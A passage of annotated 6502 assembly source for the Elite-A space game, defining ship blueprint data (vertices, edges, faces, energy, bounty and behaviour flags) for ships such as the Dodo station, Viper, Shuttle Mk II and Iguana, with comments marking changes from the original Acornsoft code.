SHIP_IGUANA \ 20 = Iguana Pirate EQUW SHIP_COBRA_MK_3 \ 21 = Cobra Mk III Pirate EQUW 0 \ Pirate EQUW 0 \ Pirate EQUW SHIP_ASP_MK_2 \ 24 = Asp Mk II Pirate EQUW SHIP_COBRA_MK_3 \ 25 = Cobra Mk III Bounty hunter EQUW SHIP_IGUANA \ 26 = Iguana Bounty hunter EQUW SHIP_ASP_MK_2 \ 27 = Asp Mk II Bounty hunter EQUW SHIP_KRAIT \ 28 = Krait Bounty hunter EQUW 0 \ Thargoid EQUW 0 \ Thargoid EQUW 0 \ Constrictor \ ****************************************************************************** \ \ Name: E% \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprints default NEWB flags for the S.T file \ Deep dive: Ship blueprints in Elite-A \ Advanced tactics with the NEWB flags \ \ ****************************************************************************** .E% EQUB %00000000 \ Missile EQUB %01000000 \ Dodo space station Cop EQUB %01000001 \ Escape pod Trader, cop EQUB %00000000 \ Alloy plate EQUB %00000000 \ Cargo canister EQUB 0 EQUB 0 EQUB 0 EQUB %00100001 \ Shuttle Mk II Trader, innocent EQUB 0 EQUB %10100000 \ Cobra Mk III Innocent, escape pod EQUB 0 EQUB %10100000 \ Iguana Innocent, escape pod EQUB 0 EQUB 0 EQUB %11000010 \ Viper Bounty hunter, cop, escape pod EQUB %10001100 \ Krait Hostile, pirate, escape pod EQUB 0 EQUB 0 EQUB %10001100 \ Iguana Hostile, pirate, escape pod EQUB %10000100 \ Cobra Mk III Hostile, escape pod EQUB 0 EQUB 0 EQUB %10001100 \ Asp Mk II Hostile, pirate, escape pod EQUB %10000010 \ Cobra Mk III Bounty hunter, escape pod EQUB %10100010 \ Iguana Bounty hunter, innocent, escape pod EQUB %10000010 \ Asp Mk II Bounty hunter, escape pod EQUB %10100010 \ Krait Bounty hunter, innocent, escape pod EQUB 0 EQUB 0 EQUB 0 \ ****************************************************************************** \ \ Name: VERTEX \ Type: Macro \ Category: Drawing ships \ Summary: Macro definition for adding vertices to ship blueprints \ Deep dive: Ship blueprints \ \ ------------------------------------------------------------------------------ \ \ The following macro is used to build the ship blueprints: \ \ VERTEX x, y, z, face1, face2, face3, face4, visibility \ \ See the deep dive on "Ship blueprints" for details of how vertices are stored \ in the ship blueprints, and the deep dive on "Drawing ships" for information \ on how vertices are used to draw 3D wiremesh ships. \ \ Arguments: \ \ x The vertex's x-coordinate \ \ y The vertex's y-coordinate \ \ z The vertex's z-coordinate \ \ face1 The number of face 1 associated with this vertex \ \ face2 The number of face 2 associated with this vertex \ \ face3 The number of face 3 associated with this vertex \ \ face4 The number of face 4 associated with this vertex \ \ visibility The visibility distance, beyond which the vertex is not \ shown \ \ ****************************************************************************** MACRO VERTEX x, y, z, face1, face2, face3, face4, visibility IF x < 0 s_x = 1 << 7 ELSE s_x = 0 ENDIF IF y < 0 s_y = 1 << 6 ELSE s_y = 0 ENDIF IF z < 0 s_z = 1 << 5 ELSE s_z = 0 ENDIF s = s_x + s_y + s_z + visibility f1 = face1 + (face2 << 4) f2 = face3 + (face4 << 4) ax = ABS(x) ay = ABS(y) az = ABS(z) EQUB ax, ay, az, s, f1, f2 ENDMACRO \ ****************************************************************************** \ \ Name: EDGE \ Type: Macro \ Category: Drawing ships \ Summary: Macro definition for adding edges to ship blueprints \ Deep dive: Ship blueprints \ \ ------------------------------------------------------------------------------ \ \ The following macro is used to build the ship blueprints: \ \ EDGE vertex1, vertex2, face1, face2, visibility \ \ See the deep dive on "Ship blueprints" for details of how edges are stored \ in the ship blueprints, and the deep dive on "Drawing ships" for information \ on how edges are used to draw 3D wiremesh ships. \ \ Arguments: \ \ vertex1 The number of the vertex at the start of the edge \ \ vertex1 The number of the vertex at the end of the edge \ \ face1 The number of face 1 associated with this edge \ \ face2 The number of face 2 associated with this edge \ \ visibility The visibility distance, beyond which the edge is not \ shown \ \ ****************************************************************************** MACRO EDGE vertex1, vertex2, face1, face2, visibility f = face1 + (face2 << 4) EQUB visibility, f, vertex1 << 2, vertex2 << 2 ENDMACRO \ ****************************************************************************** \ \ Name: FACE \ Type: Macro \ Category: Drawing ships \ Summary: Macro definition for adding faces to ship blueprints \ Deep dive: Ship blueprints \ \ ------------------------------------------------------------------------------ \ \ The following macro is used to build the ship blueprints: \ \ FACE normal_x, normal_y, normal_z, visibility \ \ See the deep dive on "Ship blueprints" for details of how faces are stored \ in the ship blueprints, and the deep dive on "Drawing ships" for information \ on how faces are used to draw 3D wiremesh ships. \ \ Arguments: \ \ normal_x The face normal's x-coordinate \ \ normal_y The face normal's y-coordinate \ \ normal_z The face normal's z-coordinate \ \ visibility The visibility distance, beyond which the edge is always \ shown \ \ ****************************************************************************** MACRO FACE normal_x, normal_y, normal_z, visibility IF normal_x < 0 s_x = 1 << 7 ELSE s_x = 0 ENDIF IF normal_y < 0 s_y = 1 << 6 ELSE s_y = 0 ENDIF IF normal_z < 0 s_z = 1 << 5 ELSE s_z = 0 ENDIF s = s_x + s_y + s_z + visibility ax = ABS(normal_x) ay = ABS(normal_y) az = ABS(normal_z) EQUB s, ax, ay, az ENDMACRO \ ****************************************************************************** \ \ Name: SHIP_DODO \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for a Dodecahedron ("Dodo") space station \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_DODO EQUB 0 \ Max. canisters on demise = 0 EQUW 180 * 180 \ Targetable area = 180 * 180 EQUB LO(SHIP_DODO_EDGES - SHIP_DODO) \ Edges data offset (low) EQUB LO(SHIP_DODO_FACES - SHIP_DODO) \ Faces data offset (low) EQUB 97 \ Max. edge count = (97 - 1) / 4 = 24 EQUB 0 \ Gun vertex = 0 EQUB 54 \ Explosion count = 12, as (4 * n) + 6 = 54 EQUB 144 \ Number of vertices = 144 / 6 = 24 EQUB 34 \ Number of edges = 34 EQUW 0 \ Bounty = 0 EQUB 48 \ Number of faces = 48 / 4 = 12 EQUB 125 \ Visibility distance = 125 EQUB 240 \ Max. energy = 240 EQUB 0 \ Max. speed = 0 EQUB HI(SHIP_DODO_EDGES - SHIP_DODO) \ Edges data offset (high) EQUB HI(SHIP_DODO_FACES - SHIP_DODO) \ Faces data offset (high) EQUB 0 \ Normals are scaled by = 2^0 = 1 EQUB %00000000 \ Laser power = 0 \ Missiles = 0 \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 0, 150, 196, 1, 0, 5, 5, 31 \ Vertex 0 VERTEX 143, 46, 196, 1, 0, 2, 2, 31 \ Vertex 1 VERTEX 88, -121, 196, 2, 0, 3, 3, 31 \ Vertex 2 VERTEX -88, -121, 196, 3, 0, 4, 4, 31 \ Vertex 3 VERTEX -143, 46, 196, 4, 0, 5, 5, 31 \ Vertex 4 VERTEX 0, 243, 46, 5, 1, 6, 6, 31 \ Vertex 5 VERTEX 231, 75, 46, 2, 1, 7, 7, 31 \ Vertex 6 VERTEX 143, -196, 46, 3, 2, 8, 8, 31 \ Vertex 7 VERTEX -143, -196, 46, 4, 3, 9, 9, 31 \ Vertex 8 VERTEX -231, 75, 46, 5, 4, 10, 10, 31 \ Vertex 9 VERTEX 143, 196, -46, 6, 1, 7, 7, 31 \ Vertex 10 VERTEX 231, -75, -46, 7, 2, 8, 8, 31 \ Vertex 11 VERTEX 0, -243, -46, 8, 3, 9, 9, 31 \ Vertex 12 VERTEX -231, -75, -46, 9, 4, 10, 10, 31 \ Vertex 13 VERTEX -143, 196, -46, 6, 5, 10, 10, 31 \ Vertex 14 VERTEX 88, 121, -196, 7, 6, 11, 11, 31 \ Vertex 15 VERTEX 143, -46, -196, 8, 7, 11, 11, 31 \ Vertex 16 VERTEX 0, -150, -196, 9, 8, 11, 11, 31 \ Vertex 17 VERTEX -143, -46, -196, 10, 9, 11, 11, 31 \ Vertex 18 VERTEX -88, 121, -196, 10, 6, 11, 11, 31 \ Vertex 19 VERTEX -16, 32, 196, 0, 0, 0, 0, 30 \ Vertex 20 VERTEX -16, -32, 196, 0, 0, 0, 0, 30 \ Vertex 21 VERTEX 16, 32, 196, 0, 0, 0, 0, 23 \ Vertex 22 VERTEX 16, -32, 196, 0, 0, 0, 0, 23 \ Vertex 23 .SHIP_DODO_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 1, 0, 31 \ Edge 0 EDGE 1, 2, 2, 0, 31 \ Edge 1 EDGE 2, 3, 3, 0, 31 \ Edge 2 EDGE 3, 4, 4, 0, 31 \ Edge 3 EDGE 4, 0, 5, 0, 31 \ Edge 4 EDGE 5, 10, 6, 1, 31 \ Edge 5 EDGE 10, 6, 7, 1, 31 \ Edge 6 EDGE 6, 11, 7, 2, 31 \ Edge 7 EDGE 11, 7, 8, 2, 31 \ Edge 8 EDGE 7, 12, 8, 3, 31 \ Edge 9 EDGE 12, 8, 9, 3, 31 \ Edge 10 EDGE 8, 13, 9, 4, 31 \ Edge 11 EDGE 13, 9, 10, 4, 31 \ Edge 12 EDGE 9, 14, 10, 5, 31 \ Edge 13 EDGE 14, 5, 6, 5, 31 \ Edge 14 EDGE 15, 16, 11, 7, 31 \ Edge 15 EDGE 16, 17, 11, 8, 31 \ Edge 16 EDGE 17, 18, 11, 9, 31 \ Edge 17 EDGE 18, 19, 11, 10, 31 \ Edge 18 EDGE 19, 15, 11, 6, 31 \ Edge 19 EDGE 0, 5, 5, 1, 31 \ Edge 20 EDGE 1, 6, 2, 1, 31 \ Edge 21 EDGE 2, 7, 3, 2, 31 \ Edge 22 EDGE 3, 8, 4, 3, 31 \ Edge 23 EDGE 4, 9, 5, 4, 31 \ Edge 24 EDGE 10, 15, 7, 6, 31 \ Edge 25 EDGE 11, 16, 8, 7, 31 \ Edge 26 EDGE 12, 17, 9, 8, 31 \ Edge 27 EDGE 13, 18, 10, 9, 31 \ Edge 28 EDGE 14, 19, 10, 6, 31 \ Edge 29 EDGE 20, 21, 0, 0, 30 \ Edge 30 EDGE 21, 23, 0, 0, 20 \ Edge 31 EDGE 23, 22, 0, 0, 23 \ Edge 32 EDGE 22, 20, 0, 0, 20 \ Edge 33 .SHIP_DODO_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 0, 0, 196, 31 \ Face 0 FACE 103, 142, 88, 31 \ Face 1 FACE 169, -55, 89, 31 \ Face 2 FACE 0, -176, 88, 31 \ Face 3 FACE -169, -55, 89, 31 \ Face 4 FACE -103, 142, 88, 31 \ Face 5 FACE 0, 176, -88, 31 \ Face 6 FACE 169, 55, -89, 31 \ Face 7 FACE 103, -142, -88, 31 \ Face 8 FACE -103, -142, -88, 31 \ Face 9 FACE -169, 55, -89, 31 \ Face 10 FACE 0, 0, -196, 31 \ Face 11 \ ****************************************************************************** \ \ Name: SHIP_ESCAPE_POD \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for an escape pod \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_ESCAPE_POD EQUB 0 + (2 << 4) \ Max. canisters on demise = 0 \ Market item when scooped = 2 + 1 = 3 (slaves) EQUW 16 * 16 \ Targetable area = 16 * 16 EQUB LO(SHIP_ESCAPE_POD_EDGES - SHIP_ESCAPE_POD) \ Edges data offset (low) EQUB LO(SHIP_ESCAPE_POD_FACES - SHIP_ESCAPE_POD) \ Faces data offset (low) EQUB 25 \ Max. edge count = (25 - 1) / 4 = 6 EQUB 0 \ Gun vertex = 0 EQUB 22 \ Explosion count = 4, as (4 * n) + 6 = 22 EQUB 24 \ Number of vertices = 24 / 6 = 4 EQUB 6 \ Number of edges = 6 EQUW 0 \ Bounty = 0 EQUB 16 \ Number of faces = 16 / 4 = 4 EQUB 8 \ Visibility distance = 8 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB 17 \ Max. energy = 17 \ --- And replaced by: --------------------------------> EQUB 8 \ Max. energy = 8 \ --- End of replacement ------------------------------> EQUB 8 \ Max. speed = 8 EQUB HI(SHIP_ESCAPE_POD_EDGES - SHIP_ESCAPE_POD) \ Edges data offset (high) EQUB HI(SHIP_ESCAPE_POD_FACES - SHIP_ESCAPE_POD) \ Faces data offset (high) EQUB 4 \ Normals are scaled by = 2^4 = 16 EQUB %00000000 \ Laser power = 0 \ Missiles = 0 \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX -7, 0, 36, 2, 1, 3, 3, 31 \ Vertex 0 VERTEX -7, -14, -12, 2, 0, 3, 3, 31 \ Vertex 1 VERTEX -7, 14, -12, 1, 0, 3, 3, 31 \ Vertex 2 VERTEX 21, 0, 0, 1, 0, 2, 2, 31 \ Vertex 3 .SHIP_ESCAPE_POD_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 3, 2, 31 \ Edge 0 EDGE 1, 2, 3, 0, 31 \ Edge 1 EDGE 2, 3, 1, 0, 31 \ Edge 2 EDGE 3, 0, 2, 1, 31 \ Edge 3 EDGE 0, 2, 3, 1, 31 \ Edge 4 EDGE 3, 1, 2, 0, 31 \ Edge 5 .SHIP_ESCAPE_POD_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 52, 0, -122, 31 \ Face 0 FACE 39, 103, 30, 31 \ Face 1 FACE 39, -103, 30, 31 \ Face 2 FACE -112, 0, 0, 31 \ Face 3 \ ****************************************************************************** \ \ Name: SHIP_CANISTER \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for a cargo canister \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_CANISTER EQUB 0 \ Max. canisters on demise = 0 EQUW 20 * 20 \ Targetable area = 20 * 20 EQUB LO(SHIP_CANISTER_EDGES - SHIP_CANISTER) \ Edges data offset (low) EQUB LO(SHIP_CANISTER_FACES - SHIP_CANISTER) \ Faces data offset (low) EQUB 49 \ Max. edge count = (49 - 1) / 4 = 12 EQUB 0 \ Gun vertex = 0 EQUB 18 \ Explosion count = 3, as (4 * n) + 6 = 18 EQUB 60 \ Number of vertices = 60 / 6 = 10 EQUB 15 \ Number of edges = 15 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUW 0 \ Bounty = 0 \ --- And replaced by: --------------------------------> EQUW 1 \ Bounty = 1 \ --- End of replacement ------------------------------> EQUB 28 \ Number of faces = 28 / 4 = 7 EQUB 12 \ Visibility distance = 12 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB 17 \ Max. energy = 17 \ --- And replaced by: --------------------------------> EQUB 8 \ Max. energy = 8 \ --- End of replacement ------------------------------> EQUB 15 \ Max. speed = 15 EQUB HI(SHIP_CANISTER_EDGES - SHIP_CANISTER) \ Edges data offset (high) EQUB HI(SHIP_CANISTER_FACES - SHIP_CANISTER) \ Faces data offset (high) EQUB 2 \ Normals are scaled by = 2^2 = 4 EQUB %00000000 \ Laser power = 0 \ Missiles = 0 \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 24, 16, 0, 0, 1, 5, 5, 31 \ Vertex 0 VERTEX 24, 5, 15, 0, 1, 2, 2, 31 \ Vertex 1 VERTEX 24, -13, 9, 0, 2, 3, 3, 31 \ Vertex 2 VERTEX 24, -13, -9, 0, 3, 4, 4, 31 \ Vertex 3 VERTEX 24, 5, -15, 0, 4, 5, 5, 31 \ Vertex 4 VERTEX -24, 16, 0, 1, 5, 6, 6, 31 \ Vertex 5 VERTEX -24, 5, 15, 1, 2, 6, 6, 31 \ Vertex 6 VERTEX -24, -13, 9, 2, 3, 6, 6, 31 \ Vertex 7 VERTEX -24, -13, -9, 3, 4, 6, 6, 31 \ Vertex 8 VERTEX -24, 5, -15, 4, 5, 6, 6, 31 \ Vertex 9 .SHIP_CANISTER_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 0, 1, 31 \ Edge 0 EDGE 1, 2, 0, 2, 31 \ Edge 1 EDGE 2, 3, 0, 3, 31 \ Edge 2 EDGE 3, 4, 0, 4, 31 \ Edge 3 EDGE 0, 4, 0, 5, 31 \ Edge 4 EDGE 0, 5, 1, 5, 31 \ Edge 5 EDGE 1, 6, 1, 2, 31 \ Edge 6 EDGE 2, 7, 2, 3, 31 \ Edge 7 EDGE 3, 8, 3, 4, 31 \ Edge 8 EDGE 4, 9, 4, 5, 31 \ Edge 9 EDGE 5, 6, 1, 6, 31 \ Edge 10 EDGE 6, 7, 2, 6, 31 \ Edge 11 EDGE 7, 8, 3, 6, 31 \ Edge 12 EDGE 8, 9, 4, 6, 31 \ Edge 13 EDGE 9, 5, 5, 6, 31 \ Edge 14 .SHIP_CANISTER_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 96, 0, 0, 31 \ Face 0 FACE 0, 41, 30, 31 \ Face 1 FACE 0, -18, 48, 31 \ Face 2 FACE 0, -51, 0, 31 \ Face 3 FACE 0, -18, -48, 31 \ Face 4 FACE 0, 41, -30, 31 \ Face 5 FACE -96, 0, 0, 31 \ Face 6 \ ****************************************************************************** \ \ Name: SHIP_VIPER \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for a Viper \ Deep dive: Ship blueprints \ \ ****************************************************************************** .SHIP_VIPER EQUB 0 \ Max. canisters on demise = 0 EQUW 75 * 75 \ Targetable area = 75 * 75 EQUB LO(SHIP_VIPER_EDGES - SHIP_VIPER) \ Edges data offset (low) EQUB LO(SHIP_VIPER_FACES - SHIP_VIPER) \ Faces data offset (low) EQUB 77 \ Max. edge count = (77 - 1) / 4 = 19 EQUB 0 \ Gun vertex = 0 EQUB 42 \ Explosion count = 9, as (4 * n) + 6 = 42 EQUB 90 \ Number of vertices = 90 / 6 = 15 EQUB 20 \ Number of edges = 20 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUW 0 \ Bounty = 0 \ --- And replaced by: --------------------------------> EQUW 100 \ Bounty = 100 \ --- End of replacement ------------------------------> EQUB 28 \ Number of faces = 28 / 4 = 7 EQUB 23 \ Visibility distance = 23 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB 100 \ Max. energy = 100 \ --- And replaced by: --------------------------------> EQUB 92 \ Max. energy = 91 \ --- End of replacement ------------------------------> EQUB 32 \ Max. speed = 32 EQUB HI(SHIP_VIPER_EDGES - SHIP_VIPER) \ Edges data offset (high) EQUB HI(SHIP_VIPER_FACES - SHIP_VIPER) \ Faces data offset (high) EQUB 1 \ Normals are scaled by = 2^1 = 2 \ --- Mod: Original Acornsoft code removed: -----------> \ EQUB %00010001 \ Laser power = 2 \ \ Missiles = 1 \ --- And replaced by: --------------------------------> EQUB %00101001 \ Laser power = 5 \ Missiles = 1 \ --- End of replacement ------------------------------> \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 0, 0, 72, 1, 2, 3, 4, 31 \ Vertex 0 VERTEX 0, 16, 24, 0, 1, 2, 2, 30 \ Vertex 1 VERTEX 0, -16, 24, 3, 4, 5, 5, 30 \ Vertex 2 VERTEX 48, 0, -24, 2, 4, 6, 6, 31 \ Vertex 3 VERTEX -48, 0, -24, 1, 3, 6, 6, 31 \ Vertex 4 VERTEX 24, -16, -24, 4, 5, 6, 6, 30 \ Vertex 5 VERTEX -24, -16, -24, 5, 3, 6, 6, 30 \ Vertex 6 VERTEX 24, 16, -24, 0, 2, 6, 6, 31 \ Vertex 7 VERTEX -24, 16, -24, 0, 1, 6, 6, 31 \ Vertex 8 VERTEX -32, 0, -24, 6, 6, 6, 6, 19 \ Vertex 9 VERTEX 32, 0, -24, 6, 6, 6, 6, 19 \ Vertex 10 VERTEX 8, 8, -24, 6, 6, 6, 6, 19 \ Vertex 11 VERTEX -8, 8, -24, 6, 6, 6, 6, 19 \ Vertex 12 VERTEX -8, -8, -24, 6, 6, 6, 6, 18 \ Vertex 13 VERTEX 8, -8, -24, 6, 6, 6, 6, 18 \ Vertex 14 .SHIP_VIPER_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 3, 2, 4, 31 \ Edge 0 EDGE 0, 1, 1, 2, 30 \ Edge 1 EDGE 0, 2, 3, 4, 30 \ Edge 2 EDGE 0, 4, 1, 3, 31 \ Edge 3 EDGE 1, 7, 0, 2, 30 \ Edge 4 EDGE 1, 8, 0, 1, 30 \ Edge 5 EDGE 2, 5, 4, 5, 30 \ Edge 6 EDGE 2, 6, 3, 5, 30 \ Edge 7 EDGE 7, 8, 0, 6, 31 \ Edge 8 EDGE 5, 6, 5, 6, 30 \ Edge 9 EDGE 4, 8, 1, 6, 31 \ Edge 10 EDGE 4, 6, 3, 6, 30 \ Edge 11 EDGE 3, 7, 2, 6, 31 \ Edge 12 EDGE 3, 5, 6, 4, 30 \ Edge 13 EDGE 9, 12, 6, 6, 19 \ Edge 14 EDGE 9, 13, 6, 6, 18 \ Edge 15 EDGE 10, 11, 6, 6, 19 \ Edge 16 EDGE 10, 14, 6, 6, 18 \ Edge 17 EDGE 11, 14, 6, 6, 16 \ Edge 18 EDGE 12, 13, 6, 6, 16 \ Edge 19 .SHIP_VIPER_FACES \FACE normal_x, normal_y, normal_z, visibility FACE 0, 32, 0, 31 \ Face 0 FACE -22, 33, 11, 31 \ Face 1 FACE 22, 33, 11, 31 \ Face 2 FACE -22, -33, 11, 31 \ Face 3 FACE 22, -33, 11, 31 \ Face 4 FACE 0, -32, 0, 31 \ Face 5 FACE 0, 0, -48, 31 \ Face 6 \ ****************************************************************************** \ \ Name: SHIP_SHUTTLE_MK_2 \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for a Shuttle Mk II \ Deep dive: Ship blueprints \ \ ****************************************************************************** \ --- Mod: Whole section added for Elite-A: -----------> .SHIP_SHUTTLE_MK_2 EQUB 15 \ Max. canisters on demise = 15 EQUW 50 * 50 \ Targetable area = 50 * 50 EQUB LO(SHIP_SHUTTLE_MK_2_EDGES - SHIP_SHUTTLE_MK_2) \ Edges data offset (low) EQUB LO(SHIP_SHUTTLE_MK_2_FACES - SHIP_SHUTTLE_MK_2) \ Faces data offset (low) EQUB 89 \ Max. edge count = (89 - 1) / 4 = 22 EQUB 0 \ Gun vertex = 0 EQUB 38 \ Explosion count = 8, as (4 * n) + 6 = 38 EQUB 102 \ Number of vertices = 102 / 6 = 17 EQUB 28 \ Number of edges = 28 EQUW 0 \ Bounty = 0 EQUB 52 \ Number of faces = 52 / 4 = 13 EQUB 10 \ Visibility distance = 10 EQUB 32 \ Max. energy = 32 EQUB 9 \ Max. speed = 9 EQUB HI(SHIP_SHUTTLE_MK_2_EDGES - SHIP_SHUTTLE_MK_2) \ Edges data offset (high) EQUB HI(SHIP_SHUTTLE_MK_2_FACES - SHIP_SHUTTLE_MK_2) \ Faces data offset (high) EQUB 2 \ Normals are scaled by = 2^2 = 4 EQUB %00000000 \ Laser power = 0 \ Missiles = 0 \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 0, 0, 40, 3, 2, 1, 0, 31 \ Vertex 0 VERTEX 0, 20, 30, 4, 3, 0, 0, 31 \ Vertex 1 VERTEX -20, 0, 30, 5, 1, 0, 0, 31 \ Vertex 2 VERTEX 0, -20, 30, 6, 2, 1, 1, 31 \ Vertex 3 VERTEX 20, 0, 30, 7, 3, 2, 2, 31 \ Vertex 4 VERTEX -20, 20, 20, 8, 5, 4, 0, 31 \ Vertex 5 VERTEX -20, -20, 20, 9, 6, 5, 1, 31 \ Vertex 6 VERTEX 20, -20, 20, 10, 7, 6, 2, 31 \ Vertex 7 VERTEX 20, 20, 20, 11, 7, 4, 3, 31 \ Vertex 8 VERTEX 0, 20, -40, 12, 11, 8, 4, 31 \ Vertex 9 VERTEX -20, 0, -40, 12, 9, 8, 5, 31 \ Vertex 10 VERTEX 0, -20, -40, 12, 10, 9, 6, 31 \ Vertex 11 VERTEX 20, 0, -40, 12, 11, 10, 7, 31 \ Vertex 12 VERTEX -4, 4, -40, 12, 12, 12, 12, 10 \ Vertex 13 VERTEX -4, -4, -40, 12, 12, 12, 12, 10 \ Vertex 14 VERTEX 4, -4, -40, 12, 12, 12, 12, 10 \ Vertex 15 VERTEX 4, 4, -40, 12, 12, 12, 12, 10 \ Vertex 16 .SHIP_SHUTTLE_MK_2_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 2, 1, 0, 31 \ Edge 0 EDGE 0, 3, 2, 1, 31 \ Edge 1 EDGE 0, 4, 3, 2, 31 \ Edge 2 EDGE 0, 1, 0, 3, 31 \ Edge 3 EDGE 1, 5, 4, 0, 31 \ Edge 4 EDGE 2, 5, 5, 0, 31 \ Edge 5 EDGE 2, 6, 5, 1, 31 \ Edge 6 EDGE 3, 6, 6, 1, 31 \ Edge 7 EDGE 3, 7, 6, 2, 31 \ Edge 8 EDGE 4, 7, 7, 2, 31 \ Edge 9 EDGE 4, 8, 7, 3, 31 \ Edge 10 EDGE 1, 8, 4, 3, 31 \ Edge 11 EDGE 5, 9, 8, 4, 31 \ Edge 12 EDGE 5, 10, 8, 5, 31 \ Edge 13 EDGE 6, 10, 9, 5, 31 \ Edge 14 EDGE 6, 11, 9, 6, 31 \ Edge 15 EDGE 7, 11, 10, 6, 31 \ Edge 16 EDGE 7, 12, 10, 7, 31 \ Edge 17 EDGE 8, 12, 11, 7, 31 \ Edge 18 EDGE 8, 9, 11, 4, 31 \ Edge 19 EDGE 9, 10, 12, 8, 31 \ Edge 20 EDGE 10, 11, 12, 9, 31 \ Edge 21 EDGE 11, 12, 12, 10, 31 \ Edge 22 EDGE 12, 9, 12, 11, 31 \ Edge 23 EDGE 13, 14, 12, 12, 10 \ Edge 24 EDGE 14, 15, 12, 12, 10 \ Edge 25 EDGE 15, 16, 12, 12, 10 \ Edge 26 EDGE 16, 13, 12, 12, 10 \ Edge 27 .SHIP_SHUTTLE_MK_2_FACES \FACE normal_x, normal_y, normal_z, visibility FACE -39, 39, 78, 31 \ Face 0 FACE -39, -39, 78, 31 \ Face 1 FACE 39, -39, 78, 31 \ Face 2 FACE 39, 39, 78, 31 \ Face 3 FACE 0, 96, 0, 31 \ Face 4 FACE -96, 0, 0, 31 \ Face 5 FACE 0, -96, 0, 31 \ Face 6 FACE 96, 0, 0, 31 \ Face 7 FACE -66, 66, -22, 31 \ Face 8 FACE -66, -66, -22, 31 \ Face 9 FACE 66, -66, -22, 31 \ Face 10 FACE 66, 66, -22, 31 \ Face 11 FACE 0, 0, -96, 31 \ Face 12 \ --- End of added section ----------------------------> \ ****************************************************************************** \ \ Name: SHIP_IGUANA \ Type: Variable \ Category: Drawing ships \ Summary: Ship blueprint for an Iguana \ Deep dive: Ship blueprints \ \ ****************************************************************************** \ --- Mod: Whole section added for Elite-A: -----------> .SHIP_IGUANA EQUB 1 \ Max. canisters on demise = 1 EQUW 3500 \ Targetable area = 59.16 * 59.16 EQUB LO(SHIP_IGUANA_EDGES - SHIP_IGUANA) \ Edges data offset (low) EQUB LO(SHIP_IGUANA_FACES - SHIP_IGUANA) \ Faces data offset (low) EQUB 81 \ Max. edge count = (81 - 1) / 4 = 20 EQUB 0 \ Gun vertex = 0 EQUB 26 \ Explosion count = 5, as (4 * n) + 6 = 26 EQUB 90 \ Number of vertices = 90 / 6 = 15 EQUB 23 \ Number of edges = 23 EQUW 150 \ Bounty = 150 EQUB 40 \ Number of faces = 40 / 4 = 10 EQUB 10 \ Visibility distance = 10 EQUB 90 \ Max. energy = 90 EQUB 33 \ Max. speed = 33 EQUB HI(SHIP_IGUANA_EDGES - SHIP_IGUANA) \ Edges data offset (high) EQUB HI(SHIP_IGUANA_FACES - SHIP_IGUANA) \ Faces data offset (high) EQUB 1 \ Normals are scaled by = 2^1 = 2 EQUB %00100011 \ Laser power = 4 \ Missiles = 3 \VERTEX x, y, z, face1, face2, face3, face4, visibility VERTEX 0, 0, 90, 3, 2, 1, 0, 31 \ Vertex 0 VERTEX 0, 20, 30, 6, 4, 2, 0, 31 \ Vertex 1 VERTEX -40, 0, 10, 5, 4, 1, 0, 31 \ Vertex 2 VERTEX 0, -20, 30, 7, 5, 3, 1, 31 \ Vertex 3 VERTEX 40, 0, 10, 7, 6, 3, 2, 31 \ Vertex 4 VERTEX 0, 20, -40, 9, 8, 6, 4, 31 \ Vertex 5 VERTEX -40, 0, -30, 8, 8, 5, 4, 31 \ Vertex 6 VERTEX 0, -20, -40, 9, 8, 7, 5, 31 \ Vertex 7 VERTEX 40, 0, -30, 9, 9, 7, 6, 31 \ Vertex 8 VERTEX -40, 0, 40, 1, 1, 0, 0, 30 \ Vertex 9 VERTEX 40, 0, 40, 3, 3, 2, 2, 30 \ Vertex 10 VERTEX 0, 8, -40, 9, 9, 8, 8, 10 \ Vertex 11 VERTEX -16, 0, -36, 8, 8, 8, 8, 10 \ Vertex 12 VERTEX 0, -8, -40, 9, 9, 8, 8, 10 \ Vertex 13 VERTEX 16, 0, -36, 9, 9, 9, 9, 10 \ Vertex 14 .SHIP_IGUANA_EDGES \EDGE vertex1, vertex2, face1, face2, visibility EDGE 0, 1, 2, 0, 31 \ Edge 0 EDGE 0, 2, 1, 0, 31 \ Edge 1 EDGE 0, 3, 3, 1, 31 \ Edge 2 EDGE 0, 4, 3, 2, 31 \ Edge 3 EDGE 1, 5, 6, 4, 31 \ Edge 4 EDGE 2, 6, 5, 4, 31 \ Edge 5 EDGE 3, 7, 7, 5, 31 \ Edge 6 EDGE 4, 8, 7, 6, 31 \ Edge 7 EDGE 5, 6, 8, 4, 31 \ Edge 8 EDGE 6, 7, 8, 5, 31 \ Edge 9 EDGE 5, 8, 9, 6, 31 \ Edge 10 EDGE 7, 8, 9, 7, 31 \ Edge 11 EDGE 1, 2, 4, 0, 31 \ Edge 12 EDGE 2, 3, 5, 1, 31 \ Edge 13 EDGE 1, 4, 6, 2, 31 \ Edge 14 EDGE 3, 4, 7, 3, 31 \ Edge 15 EDGE 5, 7, 9, 8, 31 \ Edge 16 EDGE 2, 9, 1, 0, 30 \ Edge 17 EDGE 4, 10, 3, 2, 30 \ Edge 18 EDGE 11, 